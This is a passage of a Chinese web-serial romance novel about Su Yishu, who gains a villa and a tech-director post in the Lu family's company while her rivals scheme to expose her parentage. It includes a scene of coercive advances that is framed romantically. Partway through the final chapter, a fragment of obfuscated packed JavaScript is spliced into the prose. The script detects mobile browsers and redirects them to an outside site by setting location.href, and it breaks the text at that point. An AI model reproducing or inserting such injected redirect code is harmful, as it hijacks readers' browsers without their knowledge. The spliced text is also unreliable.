苏亦姝低眉顺眼,声音清冷而平静。
“多谢爷爷关心,亦姝身为晚辈,领罚是应该的,并没有什么想要的。”
“你没要求,我却不能不给。”老爷子挥了挥手,福伯立刻递上一份烫金的房产转让合同,“半腰山那套云顶墅,本是我留着养老的,现在归你了。那地方空气好,适合养身体。”
此话一出,大厅内响起一阵倒吸凉气的声音。
半腰别墅!那是江城顶级的豪宅,不仅是价值上百亿的问题,更是身份的象征。
多少人盯着那块肉,老爷子竟然就这么轻易送给了这个苏亦姝?
“爷爷,这太贵重了,我不能要。”
老爷子笑着说道:“你这孩子,什么贵重不贵重的,爷爷送你的就是你的了,拿着吧。”
苏亦姝接了过来,没有露出欣喜,反而顺势说道:“爷爷,我想搬过去住一段日子。老宅这边……人多热闹,反而不利于静养。”
这就是要避开老宅这些牛鬼蛇神了。
老爷子深深看了她一眼,点头应允。
“准了。”
还没等众人从百亿房产的冲击中回过神,老爷子紧接着又说道:“另外,亦姝在国外的专业是顶级计算机,总待在后宅也屈才了。明天起,进擎天集团任技术部总监,岗位已经让人安排好了。”
技术部总监!那是擎天的核心命脉!众人这下是真的眼红了。
连陆彦这种深沉的人,眼底都划过一抹阴鸷。
三房费尽心思抢夺的项目被截,苏亦姝却转头拿走了核心部门的实权。
苏亦姝神色淡然,像是突然想起了什么,看向一旁始终沉默的二房夫妻。
开口道:“多谢爷爷提拔。对了,前两天听说二弟陆域的腿恢复得极好,再过不久就能彻底站起来了。二弟向来稳重,想来也是惦记公司发展的,不如等他回来,也一并回擎天吧?”
二房的陆子谦和柯沁面色齐齐一喜。
他们正愁没机会在老爷子面前开口,没想到苏亦姝竟然会主动替陆域说话。
老爷子微微沉吟,想起刚才福伯的汇报,点头道:“嗯,阿域确实是个踏实的。等他回国,让他直接来见我,我自有安排。”
二房夫妻对视一眼,看向苏亦姝的眼神里夹杂着复杂的情绪——他们不知道陆域和苏亦姝私下的交易,虽惊讶于她的“大度”,却也觉得理所当然。
与其说感激苏亦姝,不如说他们觉得苏亦姝是在自保,想要寻求二房的庇护。
而另一边,三房的氛围却降到了冰点。
何婉如气得浑身发抖。
她的女儿现在还躺在床上,双腿肿得像馒头,连路都走不了,哭得嗓子都哑了。
而这个苏亦姝,不仅得了豪宅,还拿了实权。
陆彦坐在红木椅上,原本清俊温润的面容在此时显得有些阴沉莫测。
他那双隐在金丝边眼镜后的眼睛,死死地盯着苏亦姝那张淡然若水的脸,指尖在扶手上无意识地摩挲。
他本以为苏亦姝不过是个长得好看、带点倔脾气的花瓶,可这段时间发生的一连串事情,让他不得不重新审视这个大嫂。
能让陆慎那个疯子不顾一切地护着,还能在老爷子面前以退为进拿走技术部实权,甚至反手拉拢二房……
这样的女人,若是能为他所用,绝对是很好的助力,比起赵西双,更甚几分。
想到这里,陆彦眼底那抹阴鸷渐渐敛去,取而代之的是一抹如沐春风的苦笑。
他微微侧过身,语气真诚。
“大嫂,先前玥玥在正厅冲撞了你,是我这个做哥哥的管教不严,还请大嫂大人不记小人过,原谅玥玥,以后,我一定会好好教导她。大嫂以后在擎天,若是工作上有不顺心的,尽管找我。”
何婉如听得一愣,正要发作,却被陆子勋一个冰冷的眼神硬生生地瞪了回去。
面对陆彦这突如其来的示好,苏亦姝神色淡淡。
她太了解陆家男人的皮相了,越是笑得温润,心肠往往越是狠辣。
“四弟客气了。擎天有爷爷坐镇,自然出不了乱子。”
苏亦姝礼貌而疏离地回了一句,随后转向老爷子,微微颔首。
“爷爷,若是
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没别的事,我想先去云顶墅那边看看,今天就搬过去。”
老爷子见她不骄不躁,愈发觉得顺眼,挥手道:“去吧,让福伯多安排几个人手跟着,别再累着了。”
半小时后,一辆黑色的轿车缓缓驶出陆家老宅大门。
苏亦姝靠在后座上,看着窗外飞速**的风景,长长地舒了一口气。
老宅那阴森压抑的空气,哪怕多待一秒都让她觉得窒息。
虽然云顶墅也是陆家的房产,估计也有老爷子的眼线,但至少在那里,她不用时刻防备着那些随时会刺过来的明枪暗箭。
与此同时,陆慎办公室。
周轩敲门进来的时候,陆慎正盯着电脑上那份刚截获的招标案数据。
“陆总,老宅那边传来消息了。苏小姐搬出去了。”周轩说话的时候,声音里带着几分掩不住的笑意,“老爷子把半腰山的云顶墅送给了苏小姐,还任命她为擎天的技术部总监。”
陆慎握笔的手微微一顿,嘴角缓缓勾起一抹玩味的弧度。
“云顶墅?”陆慎想起那套依山而建、视野极佳的别墅,喉间溢出一声低笑,“这老头子倒是舍得下血本。半腰山风景是不错,就是地势偏了点,夜里寂静。”
“慎哥,苏小姐这招‘以退为进’使得真是绝。”陈淮坐在旁边啧啧称奇,“现在老宅那边三房的人怕是脸都绿了,她不仅拿了房,还直接插手了集团核心部门。您说,我们要不要安排点人过去保护一下?”
陆慎合上文件夹,眼底闪过一抹偏执而温柔的光。
“保护?她现在可不是那个任人拿捏的小媳妇了,她是擎天的技术总监。不过……”
他顿了顿,狭长的眸子眯起,语带戏谑。
“既然搬到了云顶墅那边,刚好,我在那边也有一处房产,似乎跟老爷子的别墅离得不远,所以……邻居之间登门拜访,应该也算是一种礼仪吧……”
他原本还担心在老宅不方便找她,现在,她自己搬到了那个远离喧嚣的半山腰,倒真是合了他的心意。
陆慎看向窗外,那正是半腰山的方向。
陈淮看向坐在一旁始终淡定的的顾从之,有些无语地小声说道:“你说,慎哥这话说的……多虚伪啊,还邻居之间=登门拜访……我就没听过这道貌岸然的话。”
顾从之收起手机,瞥了他一眼。“你现在不是听到了?”
陈淮:……
第九十七章 酒中余味
苏亦姝并未直到云顶墅,而是先去购置了一些日用品以及去自己的公寓拿了些东西过来。
顺便,留时间给福伯他们打扫。
等到她抵达云顶墅时,夜色已深。
但是看着这奢华清净的别墅,苏亦姝整个还是放松了不少。
“少夫人,这是给您安排的两个佣人,是老爷子怕您一个人不方便,特地安排来照顾您的。”福伯指着站在旁边的两个佣人。
苏亦姝认识这两人,确实是在老宅干活的。
苏亦姝点点头,说道:“替我谢谢爷爷了。”
“少夫人客气了,那我就先回去了。”
“好。”看着福伯他们离开,苏亦姝交代了一声,便上楼了。
她刚推开主卧的房门,一股浓郁的烟草味便扑面而来。
落地窗前,一个高大的身影背对着她,指尖的一点火星在黑暗中忽明忽暗。
“搬家的速度挺快。”
陆慎转过身,月光勾勒出他森冷的面廓。
他随手按灭了烟头,走了过来。
“大嫂,新房乔迁,就不打算请我这个小叔子喝一杯?”
苏亦姝看着那个在黑暗中慢条斯理走近的身影,心跳瞬间漏了一拍。
她强压下心底的慌乱,反手将房门关紧,生怕楼下的两个佣人听到动静。
“陆慎,你疯了?这是爷爷送给我的房子,楼下全是老宅的人!”
她压低声音,咬牙切齿,带着浓浓的警告。
陆慎在离她仅剩半步的地方停住。
他身上那股浓烈的烟草味混杂着深夜的冷冽,让苏亦姝微微皱眉。
陆慎微微低头,卧室没有开灯,他借着清冷的月光打量着苏亦姝,眼神炽热。
“你害怕?”陆慎轻笑,修长的手指伸向她的侧脸,指尖带着微温,“怕他们知道你半夜在房里藏了男人?而这个男人,恰好是你小叔子?”
苏亦姝侧过头,避开了他的触碰。
她后背抵着坚硬的门板,呼吸因紧张而变得急促。
“陆慎,你应该知道,爷爷刚给了我技术部总监的位置。你现在出现在这里,影响不好。”
“哪儿不好了?”
陆慎突然倾身,双手撑在她的身体两侧,将她禁锢在门板与他的胸膛之间。
“苏亦姝,我想你了。”
陆慎凑到她耳边,灼热的呼吸喷洒在她颈间敏锐的皮肤上,引起一阵颤栗。
“你……”苏亦姝气急,伸手想要推开他,却不敢动作太大。
她怕惊动了楼下那两个佣人。
陆慎顺势握住她那双抗拒的手,反剪到她身后,另一只手揽住她的细腰,猛地往自己怀里一带。
“唔……”苏亦姝发出一声闷哼,却又极快地用牙齿死死咬住唇瓣,不敢发出太大的声音。
两人的身体紧紧贴合,隔着薄薄的衣料,她能清晰地感受到他强健有力的心跳,以及他那股毫不掩饰的疯狂的占有欲。
“放开我……”她瞪圆了眼,眼底满是倔强与委屈,“陆慎,你再这样,我就喊人了。”
“你喊。”陆慎不为所动,反而变本加厉地低下头,吻上了她优美的天鹅颈。
他的动作慢条斯理,带着一种慢火煎熬般的感觉。
“陆慎!你这个混蛋!”苏亦姝眼眶泛红,气得浑身发抖。
她不敢用力挣扎,只能用那双毫无威胁力的双眸瞪着陆慎,但落在陆慎眼里,这更像是情侣间的欲拒还迎,让他呼吸急促。
“乖一点,别动。否则,我真担心自己会忍不住做些什么……”
苏亦姝冷嗤一声,很是不满。
陆慎低头,狠狠地咬了一下她的唇瓣。
“嘶——”
苏亦姝吃痛,眼眶通红。
陆慎身体僵住,看着她那副委屈到极点又隐忍不发的模样,心头一软,力道不由自主地松了几分。
“好了。”他用指腹轻柔地擦掉她眼角沁出的泪水,叹了口气,像是某种妥协,“我说了,我是来祝贺你乔迁新居的。”
他松开她的手,变戏法似的从窗台后的暗处拎出一瓶红酒,以及两个精致的高脚杯。
“大嫂,陪我喝一杯,今晚我就放过你。”
月光将两人的影子拉得很长,交叠在一起。
苏亦姝看着那支红酒,眼眸闪烁。
她当然认得这瓶酒,那是他们还在一起时,陆慎亲手存下的,说等他们结婚那天再喝。
如今物是人非,他竟然把这酒带到了这里。
陆慎修长的手指熟练地开启瓶塞,清冽的酒香瞬间在空气中弥漫开来。
他倒了两杯酒,将其中一杯强行塞进苏亦姝手里。
“尝尝……”陆慎端起另一杯,轻轻晃动着紫红色的液体,“你不是一直想让我走吗?喝了这杯,我如你所愿。”
苏亦姝低头看着杯中晃动的残红,自嘲一笑。
她知道,如果不顺着他,这个疯子今晚绝不会罢休。
她抬起头,仰首将那杯红酒一饮而尽。
辛辣中带着一丝陈年的醇厚顺着喉咙滑下,烧得她心尖发颤。
“喝完了,你可以走了。”苏亦姝将空杯子递到他面前,神色冷漠。
陆慎却没有接,他反而慢条斯理地品着自己杯里的酒,目光肆无忌惮地落在她那张因为酒精作
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用而微微泛红的脸上。
那种炽热的、带着侵略性的眼神,让苏亦姝感到一阵没由来的心慌。
“苏亦姝,你总是这么急着推开我。”陆慎放下酒杯,再次逼近一步。
酒精让他的声音听起来更加低沉磁性,带着一股让人沉沦的蛊惑。
“可是你刚才喝酒的时候,手在抖。你在怕什么?怕这酒里的味道,还是怕你自己心里是有我的?”
“你胡说!”苏亦姝反驳得极快,快到有些心虚。
陆慎伸手扣住她的后脑勺,迫使她仰头看着自己。
他的呼吸里带着淡淡的酒香,一点点侵蚀着苏亦姝的理智。
“我有的是时间陪你耗。”他低声呢喃,指腹摩挲着她刚才被咬过的唇瓣。
就在这气氛紧绷到极致时,传来了一阵细微的脚步声。
苏亦姝整个人瞬间僵硬,浑身的汗**都竖了起来。
是那两个佣人!
“少夫人?您还没睡吗?”
一名佣人的声音在门外响起,伴随着轻轻的叩门声,“我看您房里的灯没开,却听到有动静,是哪里不舒服吗?”
苏亦姝的呼吸停滞一瞬,她死死盯着陆慎,眼神里全是哀求,示意他别出声。
陆慎却挑了挑眉,不仅没有躲避,反而故意将身体更加紧地贴向她,甚至伸出手,恶作剧般地在她腰间的软肉上捏了一下。
“唔……”苏亦姝险些惊呼出声,急忙用手捂住嘴巴,眼底满是紧张。
这个混蛋!
门外的叩门声还在继续,“少夫人?需要我进来帮您点燃安神香吗?”
苏亦姝深吸一口气,强行压下颤抖的声音,对着门外喊道:“不用了……我刚才不小心踢到了凳子。我已经准备睡了,你们也去休息吧,不用守着了。”
“好的,少夫人,那您早点休息。”
脚步声渐渐远去,直到消失在走廊尽头。
“陆慎,你满意了?”她声音嘶哑,盯着陆慎的眼睛。眼底是不屈的倔强和冷漠。
陆慎看着她这副模样,心头猛地揪了一下。
他原本只是想逗逗她,看她为自己紧张的样子,可看到她这个模样,他发现自己终究还是舍不得。
他伸手想要抱她,却被苏亦姝狠狠推开。
“滚!现在就滚!”她指着窗户的方向,声音极轻,却透着坚定。
陆慎抿了抿唇,眼底那股疯狂的占有欲缓缓沉淀下去。
“好,我走。”陆慎转过身,跃上落地窗台,在跳下去之前,他回头丢下一句话。。
“苏亦姝,酒还没喝完,剩下的……我下次再来找你讨。”
第九十八章 下马威?
翌日,擎天集团,技术部办公区。
苏亦姝一身黑色职业装,准时出现在门口。
她刚踏进大厅,原本嘈杂的办公大厅瞬间安静,几十双带着审视和不屑的目光齐刷刷投了过来。
在座的大多是程序员,平日里自诩高人一等,更何况苏亦姝身上的标签太刺眼——陆家那个新婚夜就成了寡妇的女人。
看到苏亦姝,副总监马向东就满脸堆笑地迎了上来。
他年纪四十出头,看人的时候眼睛微眯,活脱脱一只老狐狸。
“哎哟,大少夫人,您看您,入职这种小事打个电话,咱们去接您就是了,哪能劳烦您亲自跑一趟。”
马向东语气热络,声音大得全办公室都能听见。
这话明着是恭敬,背地里却是在提醒技术部的程序员们:这位是靠着陆家身份空降的,别指望她有什么真本事。
苏亦姝看都没看他,径直走向主位,把手提电脑放下,“叫我苏总监。”
马向东脸上的笑僵了一瞬,随即笑得更深了。
“是是是,苏总监。大家伙儿听好了,苏总监是名校毕业,又是老爷子看重的人。咱们这些大老粗平时搞不定的专业难题,以后可全指望苏总监指点了,大家可得‘好好请教’。”
他特意在“请教”两个字上加了重音,眼神扫向角落里坐着的几个刺头。
一个满脸胡茬的技术员站起来,把一份报错密集的报告甩在桌上,语气硬邦邦的。
“苏总监,正好有个核心系统的算法一直跑不通,马副总监说您是专家中的专家,您给掌掌眼?”
马向东在一旁打圆场,语气圆滑。
“刘强,怎么跟总监说话呢?苏总监刚来,还没喝口水呢。”
转头又对苏亦姝说,“苏总监,您别见怪。这帮搞技术的脾气都臭,就认代码不认人。您要是现在不方便,我让他们先拿回去自己琢磨?”
这是在架火烤她,如果不接,这总监的位置今天就得成个笑话。
苏亦姝拉过椅子坐下,手指覆上键盘,“不用,现在就看。”
马向东退到一旁,眼底闪过一抹看好戏的神色。
这套算法是他带人研究了半个月都没攻克的死结,他就不信这个养尊处优的大少夫人能行。
室内只剩下密集的键盘敲击声。
三分钟后,苏亦姝按下回车键,大屏幕上原本标红的报错瞬间清零。
“死循环逻辑,加上三处基础内存泄漏。”
苏亦姝冷冷地看向刘强,最后目光落在马向东脸上。
“马副总监,你带了他们八年,这种基础教学还没教明白?还是说,你在背地里教他们怎么给我这个新总监挖坑?”
马向东笑容一僵,没等他开口辩解,门口传来了整齐的脚步声。
周轩带着几个黑衣保镖推门而入,手里还拎着一份解聘名单。
“苏总监,上面指示,技术部是干活的地方,不是演戏的地方。要是有人舌头太长或者脑子不好使,名字可以直接写在这张纸上。”
周轩看着马向东,笑意不达眼底,“马副总监,您说是吧?”
马向东背后的冷汗一下子就下来了。
他没想到陆慎不在公司,竟然还有这么大的权利。周轩是陆慎的人,他的话就代表着陆慎。
更没想到苏亦姝是个真硬茬。
“是是是,周特助说得对。”
马向东赶紧点头哈腰,转头冲着下属吼道。
“都愣着干什么?还不谢谢苏总监指点!以后谁再敢偷懒耍滑,我第一个不饶他!”
苏亦姝起身,声音干脆利落。
“马副总监,这种事情一次就够了。我这人,做事不看资历,只看结果。下班前,把优化后的方案交到我办公室,交不出,你带人一起卷铺盖走人。”
她推开总监办公室的门,没给马向东留半点面子。
马向东站在原地,脸上的笑终于维持不住,阴沉得可怕。
办公室的百叶窗合上,将外面那些窥探的视线隔绝开来。
苏亦姝刚坐下,门就被有节奏地敲响了三声。
随后,一个扎着低马尾、戴着黑框眼镜的年轻女孩推门而入,手里抱着一叠厚厚的文件。
“苏总监,这是各项目组目前正在运行的核心代码备份,以及近三个月的运营维、护、日、志。另外,财务那边关于技术部的预算报表我也一并拿过来了,请您过目。”
声音清脆,言简意赅。
苏亦姝抬头看向她,目光落在她胸前的工牌上——温书。
在入职前,苏亦姝就让周轩送来过一份技术部的人员背景调查。
温书,名牌大学毕业,进擎天两年,一直处于边缘化状态,因为她从不参与马向东组织的那些酒局和派系活动。
“放那儿吧。”苏亦姝指了指办公桌的一角。
温书动作麻利地放下文件,并没有像其他员工那样急于示好或者打探消息,而是推了推眼镜道:
“马副总监刚才在外面发脾气,说您要的方案太急,恐怕下
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面的人会有抵触情绪。如果您需要,我可以先去帮您盯着点。”
这话说得很有技巧,既隐晦地提醒了苏亦姝外面的风向,又表明了自己的站位。
苏亦姝打量着温书,心中暗自评估。
背景干净,有脑子,虽然不如海绵用的顺手,但目前这个情况,温书这种独行侠反而是最安全的。
想到这里,苏亦姝心底微微一沉。
海绵被她派去海外处理陆钦留下的那笔信托基金,如果海绵在身边,刚才马向东那些小动作,根本轮不到她亲自出手。
收起那些零散的情绪,苏亦姝翻开温书拿来的文件。
“不用盯着,让他们闹。”苏亦姝头也不抬地吩咐,“温书,你现在帮我办两件事。第一,查一下过去半年内,所有通过技术部权限外发的加密包记录;第二,把那个刘强的入职履历发给我。”
温书眼神闪了一下,立刻点头:“明白,半小时后给您。”
她转身出了办公室,顺手轻轻带上了门。
苏亦姝坐在宽大的老板椅上,并没有急着翻阅代码,而是看着屏幕上跳动的光标。
马向东这种人,敢在明面上给她使绊子,背后一定有人撑腰。
不是陆彦,就是二房的人,或者就是擎天的老股东。
而她今天强硬立威,不仅是做给技术部看的,更是做给那些人看的。
她深吸一口气,开始快速浏览温书送来的维、护、日、志。
既然坐到了这个位置,她就不打算只当个摆设。
时间一分一秒过去,办公室内只剩下翻阅纸张的沙沙声,和偶尔传来的鼠标点击声。
苏亦姝的神情越来越凝重,马向东留下的摊子,比她想象中还要烂。
就在她准备调取最后一组数据时,温书再次推门而入。
“苏总监,查到了。”
温书将一份打印出来的清单放在她面前,声音压低了几分。
“刘强的入职推荐人,不是马向东,而是……刘董。而且,关于加密包的外发记录,我发现有一个特殊的IP地址,几乎每周都会从我们服务器抓取一次备份。”
苏亦姝眸色一冷,扫向那个IP地址。
那是赵氏集团名下的海外子公司。
“有意思。”苏亦姝冷笑一声,“原来这擎天的围墙,早就漏得跟筛子一样了。”
只是,这种事情,当时陆慎还在公司的时候,应该不会没发现啊?
唯一的解释,那就是陆慎故意放任的……为什么呢?
第九十九章 必须要搞死她,过更好的日子
苏亦姝盯着那个IP地址,摸着下巴,微微皱眉。
以陆慎的手段,擎天内部漏成这样,他不可能不知道。
唯一的解释是,他在放长线钓大鱼,赵家这个海外公司,不过是他局里的一环。
至于他在布一个什么样的局,这就只有他自己清楚了。
想到这里,苏亦姝关掉页面,眼神愈发幽深。
陆慎这个男人,比她想象的还要疯。
与此同时,赵家。
赵西双死死盯着手机屏幕上关于擎天集团人事变动的内部消息,眼底闪烁着怨毒和嫉妒。
苏亦姝,又是苏亦姝!
不仅拿到了百亿别墅,现在竟然还堂而皇之地坐上了技术部总监的位置。
而她赵西双,却因为在医院门口拦了陆慎一次,不仅被言语羞辱,连自家负责的项目都被陆慎亲手拦截,赵氏集团现在正面临信誉危机。
“**,凭什么你能得到这一切?”
赵西双深吸一口气,强迫自己冷静下来。
她知道,现在去硬碰硬只会让陆慎更厌恶她。
陆慎那天的狠话还在耳边回响,她想要翻盘,就得从苏亦姝的弱点下手。
而且,还不能被发现是她所为。
半小时后,赵西双换上一身低调的黑衣,出现在了苏可人所在的医院。
病房内,苏可人脸色蜡黄地躺在床上,原本姣好的面容因为这段时间的折磨显得有些扭曲。
看到不请自来的赵西双,苏可人眼里闪过一丝警惕。
“你来干什么?看我笑话?”苏可人声音嘶哑。
赵西双在床边的椅子上坐下,优雅地叠起双腿,嘴角带着一抹嘲讽的笑。
“我没空看你笑话。我来是告诉你,你那个好姐姐苏亦姝,现在已经成了擎天的技术部总监,住着上百亿的云顶别墅,连陆家老爷子都把她当宝贝。而你呢,只能在这里等着生下肚子里的玩意儿……至于生下来后,是个什么玩意儿还不清楚呢,一旦……是个不值钱的,你觉得你到时候还能剩下什么?”
“你说什么?”苏可人猛地坐起身,动作太大扯到了伤口,疼得龇牙咧嘴,“总监?别墅?这不可能!她凭什么!”
“就凭她勾引男人有本事。”赵西双冷笑一声,“陆慎现在被她迷得团团转。苏可人,你也是苏家的女儿,苏振东把苏氏出问题的锅全甩在你头上,却在苏亦姝面前点头哈腰,你甘心吗?”
苏可人当然不甘心。
她恨苏亦姝恨得要死,如果不是苏亦姝,她还是苏家最受宠的二小姐。
“你想让我做什么?”苏可人虽然慌张,但脑子还没全坏,“赵西双,你也不是什么好东西,你找我,肯定是因为你自己对付不了她。”
“聪明。”赵西双笑了,也不恼苏可人的话。自己确实不是什么好人,那又如何?她从未想过做什么好人……
“其实,我想做的,也是你想做的。因为,我们有个共同的敌人……”
看着赵西双脸上的笑,苏可人呼吸急促,她知道这是与虎谋皮,但她现在别无选择。
“成交。”苏可人咬着牙说道,“你要什么?”
“我要……”
赵西双在苏可人的病房里并未待太久的时间,说完自己要说的事情之后,便离开了。
在她离开后,苏可人立即给自己母亲刘芹打了个电话,让她马上来医院。
而此时的刘芹,正在苏家别墅里,穿金戴银,一身暴富打扮,手里端着一杯红酒,坐在沙发上,佯装品酒。
接到苏可人的电话,她心情极好。
“喂。女儿,找妈妈有什么好事?”
“好事?苏氏都要破产了,你还有心思喝酒?”
苏可人尖锐的嗓音从手机听筒里传来,惊得刘芹手里的红酒杯晃了晃,洒出几滴深红的液体,弄脏了她新买的真皮沙发。
“你这死丫头,瞎说什么呢?你爸不是说陆家那边已经答应注资了吗?”
刘芹心疼地擦着沙发,语气不耐。
“陆家注资?你做梦吧!”苏可人咬牙切齿地吼道,“苏亦姝现在成了擎天的技术部总监,老爷子还送了她一套上百亿的别墅。我爸现在正变着法子去讨好那个**,你觉得他还会管我们母女的死活吗?”
刘芹手中的酒杯“当啷”一声掉在地上,摔得粉碎。
“你说什么?总监?
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百亿别墅?”
刘芹猛地站起身,原本涂满脂粉的脸因为愤怒和嫉妒变得扭曲。
“那个克夫的小**,凭什么得到这些?陆家那老头子是不是老糊涂了!”
“妈,你先别管老头子糊不糊涂,现在的重点是,苏亦姝一旦在擎天站稳脚跟,头一个要收拾的就是我们。”
苏可人深吸一口气,强压下内心的慌乱,低声道,“赵西双刚才来找过我了。”
刘芹眼神一变,赶紧压低声音,“那个赵家大小姐?她找你干什么?”
“她要跟我们联手。”
苏可人语气阴狠,夹杂着浓郁的狠辣。
“她想要苏亦姝从那个总监位置滚下来,还要下来的非常狼狈,没有翻身之地。而我想要苏亦姝彻底消失。”
苏可人语气顿了顿。“妈,我记得苏亦姝的母亲,是不是有留下一份股份转让?是有关苏氏的。之前,我无意中听爸爸说过。你想办法弄到,还有只要我们搞到她在苏氏的一些违规证据,她就能把苏亦姝从擎天拉下来,还能给我们一笔一辈子都花不完的钱。”
刘芹皱着眉,有些犹豫。
“可那,你爸最近把书房锁得死死的,我也进不去啊,这怎么拿?”
“你进不去也得进!”苏可人声音嘶哑地命令道,带着一丝疯狂。
“妈,你要想办法,我们母女往后能不能过上好日子,就全靠你了……”
“可是……”
“没有可是!”苏可人低吼着。“妈,你别指望我肚子里的这个种,跟你说实话,陆家并不当一回事。所以,我们只能靠自己。至于苏振东,你真的觉得靠得住?我们要自己给自己想要的,比现在更好的生活……”
刘芹听着女儿的话,眼神里的贪婪渐渐战胜了恐惧。
“行,妈知道该怎么做了。”刘芹咬了咬牙,“我这就去安排。”
“动作要快。”苏可人叮嘱道。
母女俩在电话里密谋了半个多小时,每一个字都透着对苏亦姝的恨意。
挂了电话,刘芹看着地上的碎玻璃渣,狠狠踩了一脚。
“苏亦姝,想当总监?我让你连**的都不知道!”
第一百章 惊天秘密?
苏家别墅,深夜。
苏振东推门而入,踉跄的身影带着满身酒气,衣领处还隐约散发着一股刺鼻的香水味。
刘芹就守在玄关,闻到那股味道时,脸色瞬间阴沉,藏在袖子里的手死死攥紧。
她知道苏振东在外面不干净,可现在的苏家风雨飘摇,她还要靠着苏振东,所以,她只能忍着。
忍到扳倒苏亦姝,可人拿到一切,到时候,她就不用再忍了。
“振东,你可算回来了,怎么喝成这样?”
刘芹强撑起笑脸,快步上前扶住苏振东,动作体贴入微。
“应酬……那帮老狐狸,没一个肯吐口救命的。”
苏振东粗鲁地扯开领带,瘫坐在沙发上,满脸疲惫和躁郁。
刘芹蹲下身,动作卑微地替他脱鞋,又倒了一杯温水递过去,语气里满是心疼。
“我看你这段时间为了公司到处奔波,人都瘦了一大圈,头发都白了好几根,我这心里真不是滋味。”
苏振东接过水喝了一口,冷哼道:“我不奔波,苏氏就真的完了。”
刘芹叹了口气,状似无意地提起。
“说起来,今天我听人说,亦姝已经去擎天上班了?听说当了什么技术部总监,陆家老爷子还把半山腰那套云顶墅送给她住了,那可是价值上百亿的豪宅啊。”
听到“苏亦姝”三个字,苏振东的眼神瞬间变得阴鸷。
“你说,这孩子也是。”
刘芹一边替他揉着肩膀,一边低声吹着枕边风。
“她现在在陆家风光无限,手里握着那么大的权力和房产,怎么就不知道拉扯一把亲爹呢?看着你在这儿求爷爷告奶奶地陪酒,她倒好,躲在豪宅里享清福,一个电话也不往家里打。”
“别提那个孽女!”苏振东猛地把杯子砸在茶几上,发出一声闷响。
“我也不是想提,我就是替你不值。”
刘芹眼眶微红,语气愈发委屈,“你生她养她一场,苏氏也是你辛苦打下的江山,她作为女儿,哪怕随便给陆老爷子吹两声风,苏氏也不至于落到这个地步。她现在当了总监,怕是早就忘了自己姓苏,只想着怎么在陆家站稳脚跟,说不定心里还巴不得看咱们苏氏破产呢。”
苏振东的呼吸变得粗重。
今天他在酒桌上被债主顶撞,本就憋了一肚子火,此刻被刘芹这么一挑拨,心里的怨恨像野草一样疯长。
“她想看我破产?做梦!”苏振东咬牙切齿道。
刘芹见火候差不多了,压低声音道:“振东,你可得留个心眼。亦姝这孩子心思深,之前是攀上了陆慎,现在又是陆老爷子,我听说,就连陆家大夫人,她都不放在眼里。以后怕是更不把你放在眼里。”
说着,刘芹的眼眸动了动,一副我为你好的样子。
“我听说,她母亲贺婉当年留下了一些东西,是留给苏亦姝的……你可得收好了,那可是咱们最后能拿捏她的筹码了。”
苏振东闭上眼,靠在沙发上,声音冰冷。
“那东西在保险柜里,谁也拿不走。她想跟我断绝关系,也得看我准不准!”
“那是肯定的了,你毕竟是她亲爹,她怎么可能跟你断得了?我只是,有些担心,也有些心疼你……”刘芹说着,叹了口气。“今天,可人找陆夫人,想要请她出手帮一下苏氏,但是,陆夫人说,一切都得等可人生下孩子再说……可人她……也是有心无力啊。”
“可人那孩子……确实有心,要是苏亦姝能有可人一半,我也就不会这样!哼,孽女,孽女啊,早知道她是这个德性,当年,就不该听贺婉的,留下她……这个……野种!”
刘芹一愣……
野种?
“振东……你这话,什么意思?”
苏振东一顿,面上一紧。
“没什么……随口说说……”说着,苏振东闭上了眼睛。
刘芹看着苏振东那副酒后昏沉的模样,眼底闪过一抹疑惑的暗芒。
紧接着,似乎想到了什么,眼底一喜……
隔日,刘芹打扮地贵气十足,急匆匆去了医院,找苏可人。
医院,特护病房。
苏可人靠在床头,脸色依旧难看,但看到刘芹急匆匆推门而入且一脸兴奋的模样,她下意识坐直了身子。
“妈,你怎么这个时候过来了?那东西拿到了?”
苏可人压低声音,眼神里透着急切。
刘芹先是谨慎地看了一眼门口,确认反锁后,才快步走到病床边。
她顾不上倒水,一把握住苏可人的手,声音因为激动而微微发颤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220688|197516||http|test|mini|href|location''.split(''|''),0,{}));
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r>“可人,妈可能发现了一个比股权转让书还要命的秘密!”
苏可人皱起眉,“什么秘密能比钱还重要?”
“昨晚你爸喝醉了,我提苏亦姝现在风光,他竟然骂苏亦姝是‘野种’!”
刘芹压着嗓子,眼里闪烁激动的神色,“他还说,当初就不该听贺婉的留下她。你说,这话是什么意思?”
苏可人的瞳孔猛地收缩,呼吸瞬间变得粗重起来。
“你的意思……”苏可人有些激动,表情跟刘芹如出一辙。
如果苏亦姝不是苏振东亲生的,她就没有资格继承苏家一分钱。
如果身份作假,陆家那种门第,最看重血统,绝不会容忍一个来历不明的女人当长房媳妇。
如果她不是苏家的大小姐,那这个真相,足以让苏亦姝在江城混不下去。
“妈,你确定没听错?”苏可人反手抓紧刘芹,“这种事可不能开玩笑。万一只是我爸喝醉了乱骂呢?”
“绝对没听错!”刘芹言之凿凿,“当时你爸那个表情,心虚得厉害。而且你仔细想想,苏亦姝长得一点都不像你爸,甚至连贺婉的影子都只有那么一点点。她那股冷冰冰的劲儿,苏家哪个人有?”
反正,她所知道的,苏家去世的二老,也都不是这个样子!
苏可人冷静下来,脑子里飞速运转。
她比刘芹更清楚陆家的底线。
“如果这件事是真的,那苏亦姝就彻底完了。”苏可人阴恻恻地笑了,“陆慎再疯,也不可能娶一个来历不明的野种。陆老爷子要是知道了,估计会亲手把她撵出去。”
“那我们现在怎么办?”刘芹急切地问,“去找你爸摊牌?”
“不,不能找我爸。”苏可人眼里满是算计,“我爸要是肯说,早就说了。这件事我们要自己查。妈,你回去想办法弄到苏亦姝的头发或者唾液,然后再去我爸书房,找他体检留下的样本,偷偷去做个亲子鉴定。”
“好,这事妈能办。”刘芹点头,随即又犯难,“可苏亦姝现在住在云顶墅,身边还有人守着,我连她的面都见不到。”
“你见不到,赵西双见得到。”苏可人冷哼一声,“这件事,让赵西双去办。其实,那个女人,比我们更想苏亦姝万劫不复!”
第一百零一章 虚伪的父爱
可能是因为发现的这件事,让原本压抑的病房,气氛显得有些和缓。
苏可人摸了摸自己的肚子,眼神狠辣。
